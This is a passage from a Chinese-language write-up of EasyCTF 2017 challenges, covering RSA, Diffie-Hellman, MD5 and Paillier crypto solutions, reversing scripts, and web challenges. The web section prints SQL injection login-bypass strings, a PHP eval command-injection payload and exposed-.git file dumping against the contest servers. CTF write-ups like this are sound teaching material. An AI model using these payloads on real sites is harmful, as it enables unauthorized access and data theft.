md5 = {}
string = ''
for x in xrange(0, 256):
char = chr(x)
md5_obj = hashlib.md5()
md5_obj.update(char)
md5_str = md5_obj.hexdigest()
md5[md5_str] = char
with open('hexstrings.txt') as file:
while True:
line = file.readline().replace('\n', '')
if len(line) == 0:
break
string += md5[line]
print string # easyctf{1_h0p3_y0u_d1dn7_d0_7h47_by_h4nd}
RSA 3
problem
We came across another message that follows the same cryptographic schema as those other RSA messages. Take a look and see if you can crack it.
solution
λ yafu-x64.exe factor(1172115235823606152023154654763747932660073385647694278339165126116107393252225152886841069176950866458540922555424233427042989493814327572078420 5110462278896087432260439082955593874915727686637956899)
fac: factoring 11721152358236061520231546547637479326600733856476942783391651261161073932522251528868410691769508664585409225554242334270429894938143275720784205110462278896087432260439082955593874915727686637956899
fac: using pretesting plan: normal
fac: no tune info: using qs/gnfs crossover of 95 digits
div: primes less than 10000
fmt: 1000000 iterations
Total factoring time = 0.3556 seconds
***factors found***
P100 = 3423616853305296708261404925903697485956036650315221001507285374258954087994492532947084586412780871
P100 = 3423616853305296708261404925903697485956036650315221001507285374258954087994492532947084586412780869
ans = 1
import libnum
n = 11721152358236061520231546547637479326600733856476942783391651261161073932522251528868410691769508664585409225554242334270429894938143275720784205110462278896087432260439082955593874915727686637956899
p = 3423616853305296708261404925903697485956036650315221001507285374258954087994492532947084586412780871
q = 3423616853305296708261404925903697485956036650315221001507285374258954087994492532947084586412780869
e = 65537
c = 2907995727224121244474109148869412603986746589983095760953378907471772983106265015352351411281256847387789301815094608746590512178894738862276459859204020010443067567963450732279228357933677075986407
phi = (p - 1) * (q - 1)
d = libnum.modular.invmod(e, phi)
print libnum.n2s(pow(c, d, n)) # easyctf{tw0_v3ry_merrry_tw1n_pr1m35!!_417c0d}
推荐文章: CTF中RSA的常见攻击方法
Diffie-cult
problem
I just intercepted some odd messages.txt . It appears to be a Diffie-hellman protocol, but my math isn't good enough to figure out what the final shared key is. Help! (The answer is a number. There is no easyctf{}) Hint: Wikipedia explains Diffie-hellman pretty well.
solution
g^a mod p = 421049228295820
g^b mod p = 105262307073955
p = 442101689710611
如果不知道Diffie-Hellman密钥交换算法可以先看:
题目的意思大概就是想让我们求出密钥K,Diffie-Hellman密钥交换算法的有效性依赖于计算离散对数的难度( 知乎-离散对数为什么是难题? ),这里p较小且这题给的g^a mod p和g^b mod p以及p都比较巧(g^a mod p即使A发送给B的值,而g^b mod p是B发送给A的值),为什么比较巧呢,我们在 素数库 找到他们的标准分解式。
g^a mod p = 421049228295820 = 2^2 · 5 · 17 · 19^3 · 37 · 47^4
g^b mod p = 105262307073955 = 5 · 17 · 19^3 · 37 · 47^4
p = 442101689710611 = 3 · 7 · 17 · 19^3 · 37 · 47^4
现在令n = 17 · 19^3 · 37 · 47^4,那么就有:
g^a mod 21n = 20n
g^b mod 21n = 5n
我们把g^a mod 21n = 20n化简一下即:g^a mod 21n = -n,因为有20n mod 21n = -n,至于原理可以看一下密码学基础。
根据Diffie-Hellman密钥交换协议:
我们求的密钥K等于:K = ((g ^ a)mod p)^b mod p
也就是:K = ((g ^ a)mod 21n)^b mod 21n,而前面已求过g^a mod 21n = -n,所以K = (-n)^b mod 21n,现在只有b的值不知道,不过我们可以以b自变量的值为变量研究因变量K的变化情况:
n = 17 * (19 ** 3) * 37 * (47 ** 4)
p = 21 * n
for b in xrange(1,10):
k = (-n) ** b % p
print('k = (-n)^%d mod p = %d' %(b, k))
K = (-n)^b mod 21n
k = (-n)^1 mod p = 421049228295820
k = (-n)^2 mod p = 42104922829582
k = (-n)^3 mod p = 357891844051447
k = (-n)^4 mod p = 168419691318328
k = (-n)^5 mod p = 105262307073955
k = (-n)^6 mod p = 231577075562701
k = (-n)^7 mod p = 421049228295820
k = (-n)^8 mod p = 42104922829582
k = (-n)^9 mod p = 357891844051447
可以看到当b = 7又开始循环,所以K的可能值有6个,最后提交验证K为421049228295820。
Security Through Obscurity
problem
I've never seen such a cryptosystem before! It looks like a public key cryptosystem, though... Could you help me crack it?
solution
SageMath 是一个基于GPL协议的开源数学软件。它使用Python作为通用接口,将现有的许多开源软件包整合在一起,构建一个统一的计算平台。 我们的目标:创建一个有活力的自由开源软件以替代Magma,Maple,Mathematica和Matlab。
encrypt.sage:
p = 196732205348849427366498732223276547339
primelist = [2,3,5,7,11,13,17,19,23,29,31,37,43,47,53,59]
secret = REDACTED
def calc_root(num, mod, n):
f = GF(mod)
temp = f(num)
return temp.nth_root(n)
def gen_v_list(primelist, p, secret):
a = []
for prime in primelist:
a.append(calc_root(prime, p, secret))
return a
def decodeInt(i, primelist):
pl = sorted(primelist)[::-1]
out = ''
for j in pl:
if i%j == 0:
out += '1'
else:
out += '0'
return out
def bin2asc(b):
return hex(int(b,2)).replace('0x','').decode('hex')
message = REDACTED
chunks = []
for i in range(0,len(message),2):
chunks += [message[i:i+2]]
vlist = gen_v_list(primelist,p,secret)
print(vlist)
for chunk in chunks:
binarized = bin(int(chunk.encode('hex'),16)).replace('0b','').zfill(16)[::-1] #lsb first
enc = 1
for bit in range(len(binarized)):
enc *= vlist[bit]**int(binarized[bit])
enc = enc%p
print(enc)
publickey and ciphertext.txt:
p = 196732205348849427366498732223276547339
vlist = [186290890175539004453897585557650819247, 75402298316736094226532182518108134406, 125495142022496378270547998225256386407, 97774267687164931514953833940936099082, 101991197227908059637463567354647370660, 153833851791059142883915934225837717549, 57404874013093467650483424580890463792, 21385179362692238453302681296928238570, 73119997627509808412069264512026243174, 187307466063352771786747395191866088255, 99696708971915885525739992181010504930, 35400960589917132410614021764179554582, 165004028169785856134522269878963539096, 23921651712221317415895203722083962980, 101282552285744196401422074083408273639, 36527324251768098978171373433957274016]
ciphertext = [10804437392992369932709952388461430442, 176193785024128365464527424154073333243, 149270645998191619421663334736314262928, 84083279828403258970202482839973583723, 105542809657403162156368566034837560781, 170535468317794277192003839288646533914, 1709561989051017137832962458645802494, 30208132812353075834728747743616689590, 179552149608863037880916374596103803214, 146319871444551859531557724256502213689, 94266034977624098660397183255753485858, 59624105602644297614582310044425417646, 150207980679551836987813576795479579005, 47189940152625174480564945084004798024, 60923399917552243674613186036841652885, 56060552313063913798237738953734149992, 153365453785043472981157196787373992079, 97439800863356756323659264743487719966, 105572255903480949865247928773026019148, 47189940152625174480564945084004798024, 32547907449246015626932936731350157592, 97471053149217334376536988401195572824, 156999991149661497460742185971412527182, 97705058765750947378422286408948780428, 56123764944636237849915747435965967337, 180380146745295930385428990214293723238, 178014626944341285289827069179285260436, 99504741454750536629756505680249931430]
大致看一下程序,理一下代码逻辑,message就是我们要求的明文,然后被分成每2个字符为一组添加到chunks列表:
message = REDACTED
chunks = []
for i in range(0,len(message),2):
chunks += [message[i:i+2]]
vlist已经给了,所以不用再去求secret,接下来就是每2个字符简单的二值化处理再倒序,之后就是16次循环加密处理。
vlist = gen_v_list(primelist,p,secret)
print(vlist)
for chunk in chunks:
binarized = bin(int(chunk.encode('hex'),16)).replace('0b','').zfill(16)[::-1] #lsb first
enc = 1
for bit in range(len(binarized)):
enc *= vlist[bit]**int(binarized[bit])
enc = enc%p
print(enc)
加密结果已经给了,一共28组,所以能推出明文长度为56,我们知道ASCII字符的范围0-255,再从上面的加密代码分析可知,chunk最多就只有256*256=65536种组合,再做16次循环加密处理,也就是说最多1048576(256*256*16)次就能把一组明文穷举出来,计算机对1048576这个次数简直毫无压力,所以上代码:
p = 196732205348849427366498732223276547339
vlist = [186290890175539004453897585557650819247, 75402298316736094226532182518108134406, 125495142022496378270547998225256386407, 97774267687164931514953833940936099082, 101991197227908059637463567354647370660, 153833851791059142883915934225837717549, 57404874013093467650483424580890463792, 21385179362692238453302681296928238570, 73119997627509808412069264512026243174, 187307466063352771786747395191866088255, 99696708971915885525739992181010504930, 35400960589917132410614021764179554582, 165004028169785856134522269878963539096, 23921651712221317415895203722083962980, 101282552285744196401422074083408273639, 36527324251768098978171373433957274016]
ciphertext = [10804437392992369932709952388461430442, 176193785024128365464527424154073333243, 149270645998191619421663334736314262928, 84083279828403258970202482839973583723, 105542809657403162156368566034837560781, 170535468317794277192003839288646533914, 1709561989051017137832962458645802494, 30208132812353075834728747743616689590, 179552149608863037880916374596103803214, 146319871444551859531557724256502213689, 94266034977624098660397183255753485858, 59624105602644297614582310044425417646, 150207980679551836987813576795479579005, 47189940152625174480564945084004798024, 60923399917552243674613186036841652885, 56060552313063913798237738953734149992, 153365453785043472981157196787373992079, 97439800863356756323659264743487719966, 105572255903480949865247928773026019148, 47189940152625174480564945084004798024, 32547907449246015626932936731350157592, 97471053149217334376536988401195572824, 156999991149661497460742185971412527182, 97705058765750947378422286408948780428, 56123764944636237849915747435965967337, 180380146745295930385428990214293723238, 178014626944341285289827069179285260436, 99504741454750536629756505680249931430]
plaintext = ''
for i in ciphertext:
find = False
for j in xrange(256):
if find:
break
for k in xrange(256):
chunk = chr(j) + chr(k)
binarized = bin(int(chunk.encode('hex'),16)).replace('0b','').zfill(16)[::-1]
enc = 1
for bit in range(len(binarized)):
enc *= vlist[bit]**int(binarized[bit])
enc = enc%p
if enc == i:
find = True
plaintext += chunk
break
print(plaintext)
flag{i_actu4lly_d0nt_know_th3_name_of_th15_crypt0sy5tem}
used time:18.040904s
Listen Closely
problem
We intercepted a secret message, but we can't tell what it's saying. Maybe you can help? super secret message hint: 1, 16, 8000. After you use those, the problem is strictly crypto.
solution
Genius
problem
Your boss told you that this team has come up with the cryptographic hash of the future, but something about their operation just seems a little fishy.
solution
8a7fca9234d2f19c8abfcd812971a26c8c510dcaefd5061b191ad41d8b57d0ce631f5074f94b32730d0c025f1d7aacd7
be1ab1632e4285edc3733b142935c60b90383bad42309f7f6850d2b4250a713d0b2d7a97350465a02554d29d92bfefaf
d64ddd0de1b187cd670783f5e28d681dd401ed3009d05ce4ef600d364a2c953e4cc801b880dddef59829a5ad08bd8a63
73d559bc117f816333174e918d0587de5cca214701dbe9f7f42da7bccf074b811292b9d4dc398866ef95869b22b3941e
78635bc95eaa7662a2ddf3e3d45cf1084f4233d6c396e8a0e6fbf597d07b88178d03f3f7757bdbdaaed60729d08bb180
b42dad5453b2128a32f6612b13ea5d9fef843bee79633652a6d6ae08e964609f00e883ab809346226dff6887080fb68b
给了6组哈希值,每组96个字符,还提示到了MD5,于是丢 crackstation 跑一下:
简单验证一下:
md5(like) = be1ab1632e4285edc3733b142935c60b
md5(ly_s) = d64ddd0de1b187cd670783f5e28d681d
md5(ng_2) = 73d559bc117f816333174e918d0587de
md5(have) = b42dad5453b2128a32f6612b13ea5d9f
推测每组就是三个MD5组合的,于是将所有的MD5换行拆分再进行一次查找:
还有7个没有破解,从上面的都是4位简单的消息,于是把未找出的7个扔 MD5库 :
按顺序组合一下:
OMG_it_took_like_LITerally_s0oO00_long_2_MAK3_md5_werrk_you_have_no_id34
提交给了flag:
easyctf{OUR_3nCRYpti0n_is_N0T_br0k3n_Ur_brok3n_6c5a390d}
py优雅解决方式:
import hashlib
hashs = '8a7fca9234d2f19c8abfcd812971a26c8c510dcaefd5061b191ad41d8b57d0ce631f5074f94b32730d0c025f1d7aacd7be1ab1632e4285edc3733b142935c60b90383bad42309f7f6850d2b4250a713d0b2d7a97350465a02554d29d92bfefafd64ddd0de1b187cd670783f5e28d681dd401ed3009d05ce4ef600d364a2c953e4cc801b880dddef59829a5ad08bd8a6373d559bc117f816333174e918d0587de5cca214701dbe9f7f42da7bccf074b811292b9d4dc398866ef95869b22b3941e78635bc95eaa7662a2ddf3e3d45cf1084f4233d6c396e8a0e6fbf597d07b88178d03f3f7757bdbdaaed60729d08bb180b42dad5453b2128a32f6612b13ea5d9fef843bee79633652a6d6ae08e964609f00e883ab809346226dff6887080fb68b'
def get_md5_list(hashs):
md5_list = []
for x in xrange(0, len(hashs), 32):
md5_list.append(hashs[x:x+32])
return md5_list
def gen_char_list():
char_list = []
for x in xrange(48, 58): # 0 ~ 9
char_list.append(chr(x))
for x in xrange(65, 91): # A ~ Z
char_list.append(chr(x))
for x in xrange(97, 123): # a ~ z
char_list.append(chr(x))
char_list.append('_') # _
return char_list
def brute_force_md5(char_list, md5_list):
plain_dict = {}
for c1 in char_list:
for c2 in char_list:
for c3 in char_list:
for c4 in char_list:
chars = c1 + c2 + c3 + c4
md5_obj = hashlib.md5()
md5_obj.update(chars)
md5_str = md5_obj.hexdigest()
if md5_str in md5_list:
plain_dict[md5_str] = chars
return plain_dict
def get_plain(md5_list, plain_dict):
plain = ''
for md5 in md5_list:
plain += plain_dict[md5]
return plain
def main():
md5_list = get_md5_list(hashs)
char_list = gen_char_list()
plain_dict = brute_force_md5(char_list, md5_list)
plain = get_plain(md5_list, plain_dict)
print(plain)
if __name__ == '__main__':
main()
RSA 4
problem
After doing so much RSA, I finally messed up.... pls help. I encrypted my secret message but the decryption isn't working!!
solution
Premium RSA
problem
My RSA is the greatest. It's so strong, in fact, that I'll even give you d! file
hint: You thought it'd be that simple?
solution
Paillier Service
problem
My friend made some sort of encryption service using the Paillier cryptosystem. Can you get him to encrypt the string easyctf{3ncrypt_m3!} for me? Your flag will be a base 10 integer.
Access his encryption service at http:// paillier.tcp.easyctf.com 8570
solution
# Paillier.py
import binascii
#Gathered from connecting manually
# m = 1, r = 1
g = 76148136246979412868353192826161253341403849263254887278017187958514513340458179944731332795505616407225022188597713956679924138156737337560391522285190471306102238935856085554943425316921717217530405444795878376547349107664015741971592178799088766898531556269231518219697725522509132047243753064371633643298
# m = 2, r = 1
g2 = 152296272493958825736706385652322506682807698526509774556034375917029026680916359889462665591011232814450044377195427913359848276313474675120783044570380942612204477871712171109886850633843434435060810889591756753094698215328031483943184357598177533797063112538463036439395451045018264094487506128743267286595
expectedG2 = g*g
#Using Factordb, we find that expectedG2-g2 is a perfect square of a prime, which is below
#http://factordb.com/index.php?id=1100000000882961502
n = 76148136246979412868353192826161253341403849263254887278017187958514513340458179944731332795505616407225022188597713956679924138156737337560391522285190471306102238935856085554943425316921717217530405444795878376547349107664015741971592178799088766898531556269231518219697725522509132047243753064371633643297
n2 = n*n
m2r2 = 642704871773304452155778596282877892451871980828477596157415930594972102473171707034871466334408214634990379265334519095544245651795310239071984348465353456082430791507322024283077057140015173791209040404351064470318177893091562745760770981747716308255111472933684059218100124906239297276402113587510274467857526915676715307055889593001002210535184406398178516901311847346979934161946287183599368736554797730366291587740218078384204696550286009123986874335424671114430592617561047352470044247529967986001239137580719442869043114141323570567593427242451750466586033713111304296116982128148631354597378733690535403149
#check for no errors
assert (pow(g,2,n2)*pow(2,n,n2))%n2 == m2r2
assert (pow(g,2,n2))%n2 == g2
# get int of string easyctf{3ncrypt_m3!}
goal = b'easyctf{3ncrypt_m3!}'
hexGoal = str(binascii.hexlify(goal),'utf-8')
goal = int(hexGoal,16)
#print(goal)
#goal is divisible by 5, so use that for Homomorphic property
m5r1 = pow(g,5,n2)
goalDiv5 = goal // 5
# Now use the Homomorphic property :)
flagInt = pow(m5r1,goalDiv5,n2)
print(flagInt)
0x05 Web
Cookie Blog
problem
I found the cookie monster's blog !
solution
TinyEval
problem
This page will evaluate anything you give it.
solution
首先想到可能是php的eval()函数,于是随手输入echo("hello world"),提示字符太长,最后经过测试最多能输入11个字符。 这里用到一个php的技巧
root@kali:~# cat 1.php
eval("echo`ls`;");
root@kali:~# php 1.php
1.php
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
于是输入echo`ls`:
看到了flag文件了,但是文件名很长,除了echo``,就只能再输入5个字符,所以要找到一个巧妙的方法,多次尝试找到方法:
echo`cat *`
刚好11个字符,获得flag:
Edge 1
problem
We found Edge inc's website! Take a look at it here .
solution
官方提醒说不能使用扫描器,要不然会被BAN,但是搞了一通之后没有什么收获,提醒说不能使用扫描器于是猜测是不是跟源码泄露有关,就手动测试一下:
index.php~
index.php.vim
index.php.swp
index.php.swn
index.php.swo
index.php.old
index.php.txt
index.php.bak
index.php.zip
index.php.rar
/.svn
/.git
测试到/.git终于出现惊喜:
root@kali:~# rip-git -v -u http://edge1.web.easyctf.com/.git/
root@kali:~/.git# git log
commit ee9061b25d8a35bae8380339f187b44dc26f4999
Author: Michael <michael@easyctf.com>
Date: Mon Mar 13 07:11:47 2017 +0000
Whoops! Remove flag.
commit afdf86202dc8a3c3d671f2106d5cffa593f2b320
Author: Michael <michael@easyctf.com>
Date: Mon Mar 13 07:11:45 2017 +0000
Initial.
commit 15ca375e54f056a576905b41a417b413c57df6eb
Author: Fernando <fermayo@gmail.com>
Date: Sat Dec 14 12:50:09 2013 -0300
initial version
commit 8ac4f76df2ce8db696d75f5f146f4047a315af22
Author: Fernando Mayo <fermayo@gmail.com>
Date: Sat Dec 14 07:36:18 2013 -0800
Initial commit
回滚到删掉flag之前:
root@kali:~/.git# git reset –hard afdf86202dc8a3c3d671f2106d5cffa593f2b320
根目录出现了flag.txt:
root@kali:~/.git# cat flag.txt
easyctf{w3_ev3n_u53_git}
推荐文章: 关于WEB敏感文件探测的一点思考
Edge 2
problem
Last time we screwed up. But we've learned our lesson .
solution
再次访问/.git,结果:
虽然被禁止列目录,但是那些文件依然存在,再次尝试使用rip-git,结果还是下载下来了,接下来就跟Edge 1一样的做法了:
root@kali:~# rip-git -v -u http://edge2.web.easyctf.com/.git/
root@kali:~/.git# git log
commit a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd
Author: Michael <michael@easyctf.com>
Date: Mon Mar 13 07:32:12 2017 +0000
Prevent directory listing.
commit 6b4131bb3b84e9446218359414d636bda782d097
Author: Michael <michael@easyctf.com>
Date: Mon Mar 13 07:32:10 2017 +0000
Whoops! Remove flag.
commit 26e35470d38c4d6815bc4426a862d5399f04865c
Author: Michael <michael@easyctf.com>
Date: Mon Mar 13 07:32:09 2017 +0000
Initial.
commit 15ca375e54f056a576905b41a417b413c57df6eb
Author: Fernando <fermayo@gmail.com>
Date: Sat Dec 14 12:50:09 2013 -0300
initial version
同样回到删掉flag之前:
root@kali:~/.git# git reset –hard 26e35470d38c4d6815bc4426a862d5399f04865c
root@kali:~/.git# cat flag.txt
easyctf{hiding_the_problem_doesn't_mean_it's_gone!}
SQL Injection 1
problem
I need help logging into this website to get my flag! If it helps, my username is admin. Running sqlmap or the likes will earn you an IP ban.
hint: What does "injection" mean? How can you "inject" code into your username to control the username lookup?
solution
查看网页源代码,估计SQL语句是这样的:
select * from users where username="admin" and password=""
于是任意构造:
" or "1"="1
select * from users where username="admin" and password="" or "1"="1"
flag:
easyctf{a_prepared_statement_a_day_keeps_the_d0ctor_away!}
SQL Injection 2
problem
I've told my friend a billion times that the user called leet1337 doesn't exist on this website , but he won't listen. Could you please login as this user, even though it doesn't exist in the database? Oh and also, make sure that the user has a power level over 9000!!!! Running sqlmap or the likes will earn you an IP ban.
hint: The columns in the table are (not in order) username, password, power_level, and a unique id.
solution
根据提示估计SQL语句是这样的:
select username, password, power_level, id from table where username="" and password=""
多次尝试使用union查询,#号截断:
" union select "leet1337", "leet1337", "leet1337", "9999"#
select username, password, power_level, id from table where username="" and password="" union select "leet1337", "leet1337", "leet1337", "9999"#"
Blogbox
problem
I found another blog ! Do you think you can find a flag on it?
Hint: Use the search bar to see all the public posts! (And only the public posts!)
solution
根据提示进行搜索,但是不论输入什么都得不到想要得结果,搜索时GET请求类似这样:
http:// blogbox.web.easyctf.com /search?query=flag
后来看提示我们只能看到公开的(public)文章,于是想到搜索有可能还可以传入public这个参数: 最终: http:// blogbox.web.easyctf.com /search?query=ctf&public=0
Web tunnel
problem
I was just going to search some random cat videos on a Saturday morning when my friend came up to me and told me to reach the end of this tunnel . Can you do it for me?
Hint: You should write a script for this. The tunnel goes on too deep for any normal human.
solution
打开网站,得到一张二维码,扫描之后得到的字符串又做为下一个二维码图片的路径,就这样循环,那么上脚本:
import requests
QR_api = 'https://api.qrserver.com/v1/read-qr-code/'
QR_name ='DaicO7460493nYSuvLPW'
while True:
if 'easyctf' not in QR_name:
QR_url = 'http://tunnel.web.easyctf.com/images/' + QR_name + '.png'
r = requests.get(url = QR_api, params = {'fileurl' : QR_url})
QR_name = r.json()[0]["symbol"][0]["data"]
else:
break
print(QR_name) # easyctf{y0u_sh0uld_b3_t1r3d_tr4v3ll1ng_all_th1s_w4y}
0x06 Reverse Engineering
Hexable
problem
I tried to hide a flag sneakily, can you find it? Download
solution
Phunky Python I
problem
The other day we happened upon a dusty old laptop covered in duct tape and surrounded by several papers with notes scrawled all over them. Upon inspection, we found that the laptop contained several python files labeled phunky.
We've determined that each of the files contains a mini reversing challenge. The first task is simple: Find the value of x such that the program prints out easyctf (make sure it's lowercase!).
solution
x = 9758391023608105872L - 102
digs = [9758391023608105871L, 9758391023608105867L, 9758391023608105885L, 9758391023608105891L, 9758391023608105869L, 9758391023608105886L, 9758391023608105872L]
out = ""
for letter in reversed(digs):
out = chr(letter - x) + out
print out + '{' + str(x) + '}'
flag:easyctf{9758391023608105770}
Useless Python
problem
Boredom took over, so I wrote this python file! I didn't want anyone to see it though because it doesn't actually run, so I used the coolest base-16 encoding to keep it secret. python
solution
参考Pcat表哥解法:
s=open('useless.py').read()
s=s.decode('hex')
while True:
if 'exec(' in s:
s = eval(s[5:-1])
else:
break
print s
输出:
flag = 'easyctf{python_3x3c_exec_3xec_ex3c}'
priint flag
Phunky Python II
problem
We stumbled across another phunky Python file. Can you find the redacted value of jkx that makes this program print True?
solution
题目:
import operator
jkx = 0 # REDACTED
pork = ((12*jkx+44)/4)-(1234/617)*jkx-sum([1, 4, 7])
jkx *= pork
pp = filter(lambda g: not any(g % u == 0 for u in range(2, g)), range(2, 10000))
b = reduce(operator.mul, (pp[i] ** int(str(jkx)[i]) for i in range(len(str(jkx)))))
print b == 6548044661510965675361835669609097497614277988316628335954865908614987464656662774230164176397886049495203497380194320473112237121935351588106637391652296924206523967496334906449626062538176842451446687574581963609515235677360001918335627990557065870263618484501558703622228018822062325974112864876000000
第3行简化一下:
pork = ((12*jkx+44)/4)-(1234/617)*jkx-sum([1, 4, 7])
pork = (3*jkx+11)-(1234/617)*jkx-12
pork = 3*jkx+11-2*jkx-12
pork = jkx - 1
结合第四行再次简化:
jkx = jkx*(jkx-1)
第五行:
pp = filter(lambda g: not any(g % u == 0 for u in range(2, g)), range(2, 10000))
是生成小于10000的所有质数列表:
第六行:
b = reduce(operator.mul, (pp[i] ** int(str(jkx)[i]) for i in range(len(str(jkx)))))
即:
b = 1
for i in range(len(str(jkx))):
b = b * (pp[i] ** int(str(jkx)[i])
比如我们输入jkx值为123,那么就会计算b = ( 2 ^ 1) * ( 3 ^ 2) * ( 5 ^ 3)
参考ValarDragon表哥的解法
import numpy as np
import math
#First step:
#Factor the number
endnum = 1165547315017833928671818221519514360217364769512850694972634276966608764777139685632107196533251916113636826873618982702626918260245806732321339626796631711528838400321866758812099562803500967678699400226626798016068690575469938736199168207523212687169370000
primes = filter(lambda g: not any(g % u == 0 for u in range(2, g)), range(2, 10000))
exps = []
#get prime factorization
for i in primes:
k = 0
while(endnum % i == 0):
k+=1
endnum /= i
exps.append(k)
if(endnum == 1):
break
print("exponents = %s" %exps)
#Factorization obtained
def floorSqrt(n):
x = n
y = (x + 1) // 2
while y < x:
x = y
y = (x + n // x) // 2
return x
jkx2 = ""
for k in exps:
jkx2 += str(k)
jkx2 = int(jkx2)
while(True):
breakEarly = False
try:
jkxapprox = floorSqrt(jkx2)
assert jkx2 == jkxapprox*(jkxapprox+1)
print("jkx2 = %s" % jkx2)
print("jkx = %s" % (jkxapprox+1))
breakEarly = True
break
except AssertionError:
if(breakEarly):
break
jkx2 *= 10
Lucky Guess
problem
Would you like to play a guessing game ?
solution
int __cdecl main(int argc, const char **argv, const char **envp)
unsigned int v3; // eax@1
const char *v5; // rax@8
__int64 v6; // rax@10
int v7; // eax@11
__int64 v8; // rax@12
int v9; // [sp+0h] [bp-A0h]@1
int v10; // [sp+4h] [bp-9Ch]@1
int i; // [sp+8h] [bp-98h]@3
int v12; // [sp+Ch] [bp-94h]@1
int v13[36]; // [sp+10h] [bp-90h]@1
primp();
qmemcpy(v13, "g", 0x88uLL);
v3 = time(0LL);
srand(v3);
v12 = rand() % 0x4000000;
v10 = 0;
v9 = 0;
while ( 1 )
v7 = v10++;
if ( v7 > 22 )
LODWORD(v8) = std::operator<<<std::char_traits<char>>((__int64)&std::cout, (__int64)"no dice.");
std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
return 0;
std::operator<<<std::char_traits<char>>((__int64)&std::cout, (__int64)"Guess? ");
std::istream::operator>>(&std::cin, &v9);
if ( v9 == v12 )
break;
if ( v9 >= v12 )
v5 = "hi";
v5 = "lo";
LODWORD(v6) = std::operator<<<std::char_traits<char>>((__int64)&std::cout, (__int64)v5);
std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
for ( i = 0; (unsigned __int64)i < 0x22; ++i )
std::operator<<<std::char_traits<char>>(&std::cout, (unsigned int)(char)(v13[i] ^ c610[4 * i]));
return 1;
让if ( v9 == v12 ) break;执行成功跳出while循环,进入for循环得到flag,最简单的方式就是修改jnz指令为nop指令:
Hex QR
problem
I've stumbled upon a very strange QR code ... seems like it was generated with this generator. What could it mean?
solution
67k
problem
Here are 67k binaries, well more accurately 67,139 binaries. Solve every single one, append the results together in order (shouldn't be too difficult as the binaries are numbered) and then from there I'm sure you can figure it out.
Hint: Maybe write a script.
solution
#!/usr/bin/env python
import r2pipe
import json
import sys
import time
import os
# shift arithmetic right copied from http://stackoverflow.com/a/5833119
def rshift(val, n):
return val>>n if val >= 0 else (val+0x100000000)>>n
if __name__ == "__main__":
r2p = r2pipe.open(sys.argv[1])
r2p.cmd("aaa")
# get the name of the function that does the operation
t = r2p.cmd("aflj")
d = json.loads(t)
fc_name = d[0]["name"]
if fc_name == "entry0":
fc_name = d[1]["name"]
# determine if sub, add, or xor is used
t = r2p.cmd("pdj 1@%s" %( fc_name))
d = json.loads(t)
ins = d[0]["opcode"]
# get the value of EAX
t = r2p.cmd("pdj 1@entry0+0x1f")
d = json.loads(t)
pointer = d[0]["esil"].split(",")[0]
pointer = int(pointer, 16)
t = r2p.cmd("pxrj 4@%d" % (pointer,))
d = json.loads(t)
eax = d[0]["value"]
# get the value of ECX
t = r2p.cmd("pdj 1@entry0+0x24")
d = json.loads(t)
ecx = d[0]["opcode"].split()[-1]
ecx = int(ecx, 16)
# determine the operation used by do_foo()
answer = 0
if "sub" in ins:
answer = eax - ecx
elif "xor" in ins:
answer = eax ^ ecx
elif "add" in ins:
answer = eax + ecx
# get value to use for SAR operation
t = r2p.cmd("pdj 1@entry0+0x36")
d = json.loads(t)
pointer = d[0]["esil"].split(",")[0]
pointer = int(pointer, 16)
t = r2p.cmd("pxrj 4@%d" % (pointer,))
t = t.replace("\\x", "")
d = json.loads(t)
val = d[0]["value"]
cl = val & 0xFF
# get the solution to the challenge
solve = rshift(answer, cl)
solve = solve & 0xff
sys.stdout.write("%c" % (solve,))
Heaps of Knowledge
problem
Can you pwn this? Navigate to /problems/heaps_of_knowledge/ on the shell server and read flag.txt.
solution
Morphin
problem
Welcome to the RE training course, this problem has 4 phases. Solve all four to get the flag.
Note: On phase 1 round to 6 significant figures.
solution
0x07 Binary Exploitation
Risky Business
problem
We wanted to branch into the casino business, but human employees are too expensive so we decided to automate it. I feel like we missed something obvious though... Oh well! Here's the binary: casino
Solve this problem by logging into the shell server and navigating to
/problems/casino
.
solution
int __cdecl main(int argc, const char **argv, const char **envp)
__int64 v3; // rax@1
__int64 v4; // rdx@1
__int64 v5; // rax@1
int v6; // ebx@2
__int64 v7; // rdx@2
__int64 v8; // rax@2
__int64 v9; // rax@2
__int64 v10; // rdi@2
__int64 v11; // rdx@2
__int64 v13; // rax@4
int v14; // eax@4
__int64 v15; // rdx@4
bool v16; // al@6
__int64 v17; // rax@11
__int64 v18; // rax@13
__int64 v19; // rdx@14
__int64 v20; // rax@15
__int64 v21; // rax@16
int v22; // [sp+Ch] [bp-1C4h]@4
char v23; // [sp+10h] [bp-1C0h]@4
char v24; // [sp+30h] [bp-1A0h]@4
__int64 v25; // [sp+B0h] [bp-120h]@4
__int64 v26; // [sp+1B8h] [bp-18h]@1
v26 = *MK_FP(__FS__, 40LL);
LODWORD(v3) = std::operator<<<std::char_traits<char>>(&std::cout, "Welcome to the EasyCTF 2017 Casino", envp);
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
LODWORD(v5) = std::operator<<<std::char_traits<char>>(
&std::cout,
"Try your luck and gain access to our exclusive club!",
v4);
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
while ( 1 )
std::ostream::operator<<(&std::cout, &std::endl<char,std::char_traits<char>>);
v6 = networth;
LODWORD(v8) = std::operator<<<std::char_traits<char>>(&std::cout, "Your net worth is: $", v7);
LODWORD(v9) = std::ostream::operator<<(v8, (unsigned int)v6);
v10 = v9;
std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
if ( networth > 2000000000 )
break;
LODWORD(v13) = std::operator<<<std::char_traits<char>>(
&std::cout,
"Please enter how much you would like to bet:",
v11);
std::ostream::operator<<(v13, &std::endl<char,std::char_traits<char>>);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v23);
std::getline<char,std::char_traits<char>,std::allocator<char>>(&_TMC_END__, &v23);
v14 = std::operator|(16LL, 8LL);
std::__cxx11::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::basic_stringstream(
&v24,
&v23,
(unsigned int)v14);
std::istream::operator>>(&v24, &v22);
v16 = (unsigned __int8)std::basic_ios<char,std::char_traits<char>>::eof(&v25) ^ 1
|| (unsigned __int8)std::basic_ios<char,std::char_traits<char>>::fail(&v25);
if ( v16 )
std::operator<<<std::char_traits<char>>(&std::cout, "That was not a valid number :(", v15);
